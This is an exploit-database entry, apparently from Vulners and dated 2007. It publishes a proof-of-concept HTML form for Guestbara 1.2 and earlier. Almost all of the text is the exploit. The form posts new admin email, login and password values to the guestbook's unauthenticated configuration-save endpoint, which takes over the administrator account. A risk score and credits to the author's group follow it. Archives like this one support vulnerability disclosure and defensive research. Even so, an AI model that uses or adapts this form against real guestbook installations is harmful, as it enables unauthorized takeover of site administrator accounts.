Guestbara <= 1.2 Change Admin Login and Password Exploit

🗓️ 19 Mar 2007 00:00:00Reported by RootType

<= 1.2 Change Admin Login and Password Exploit by Kacpe


                                                &lt;html&gt;
&lt;title&gt;Guestbara&nbsp;&amp;lt;=&nbsp;1.2&nbsp;Change&nbsp;admin&nbsp;login&nbsp;&amp;&nbsp;password&nbsp;exploit&nbsp;by&nbsp;Kacper&lt;/title&gt;
&lt;table&nbsp;border=0&nbsp;cellspacing=0&nbsp;cellpadding=0&nbsp;align='center'&gt;

&lt;form&nbsp;method='post'&nbsp;action='http://127.0.0.1/guestbook_path/admin/configuration.php?action=saveconfig&amp;zapis=ok'&gt;&lt;tr&gt;

&lt;tr&gt;&lt;td&nbsp;width=200&gt;Admin&nbsp;Email&lt;/td&gt;&lt;td&gt;&lt;input&nbsp;type='text'&nbsp;name='admin_mail'&nbsp;class='textfield'&nbsp;value=''&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&nbsp;width=200&gt;Admin&nbsp;Name&lt;/td&gt;&lt;td&gt;&lt;input&nbsp;type='text'&nbsp;name='login'&nbsp;class='textfield'&nbsp;value=''&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&nbsp;width=200&gt;Admin&nbsp;Pass&lt;/td&gt;&lt;td&gt;&lt;input&nbsp;type='password'&nbsp;name='pass'&nbsp;class='textfield'&nbsp;value=''&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&nbsp;&nbsp;colspan=2&nbsp;align=center&gt;
&nbsp;&nbsp;&lt;p&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&lt;input&nbsp;type='submit'&nbsp;name='submit'&nbsp;value='Zachowaj'&gt;
&nbsp;&nbsp;&lt;/p&gt;
&nbsp;&nbsp;&lt;p&gt;by&nbsp;Kacper&nbsp;&nbsp;&lt;/p&gt;
&nbsp;&nbsp;&lt;p&gt;for&lt;/p&gt;
&nbsp;&nbsp;&lt;p&gt;&lt;a&nbsp;href=&quot;http://www.rahim.webd.pl/&quot;&nbsp;target=&quot;_blank&quot;&gt;DEVIL&nbsp;TEAM&nbsp;&lt;/a&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/form&gt;&lt;/table&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&nbsp;align=&quot;center&quot;&gt;script&nbsp;download:&nbsp;http://www.hotscripts.pl/produkt-3051.html&lt;/p&gt;
&lt;p&nbsp;align=&quot;center&quot;&gt;Greetz&nbsp;@ll&nbsp;DEVIL&nbsp;TEAM&nbsp;&lt;/p&gt;
&lt;/html&gt;

19 Mar 2007 00:00Current

7.1High risk

Vulners AI Score7.1

Guestbara &lt;= 1.2 Change Admin Login and Password Exploit

Guestbara <= 1.2 Change Admin Login and Password Exploit